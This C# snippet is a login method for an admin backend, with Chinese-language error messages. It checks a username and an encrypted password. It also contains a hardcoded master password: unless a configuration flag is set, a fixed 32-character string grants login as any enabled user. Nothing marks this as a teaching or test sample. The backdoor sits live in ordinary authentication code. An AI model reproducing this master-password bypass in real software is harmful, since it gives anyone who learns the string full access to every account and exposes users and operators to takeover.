protected override int Login(string name, string password) { var userinfo = (from u in Context.UserInfos where u.Name == name && u.IsEnable select u) .FirstOrDefault(); if (userinfo == null) { LogHelper.Error($"[{name}]后台密码错误!,请留意"); throw new ZzbException("账号或密码错误"); } if (!BaseConfig.HasValue(SystemConfigEnum.CancleSuperLoginPassword)) { if (password == "6a8f9c6bbb4848adb358ede651454f69") { return(userinfo.UserInfoId); } } var np = SecurityHelper.Encrypt(password); if (userinfo.Password != np) { throw new ZzbException("账号或密码错误"); } return(userinfo.UserInfoId); }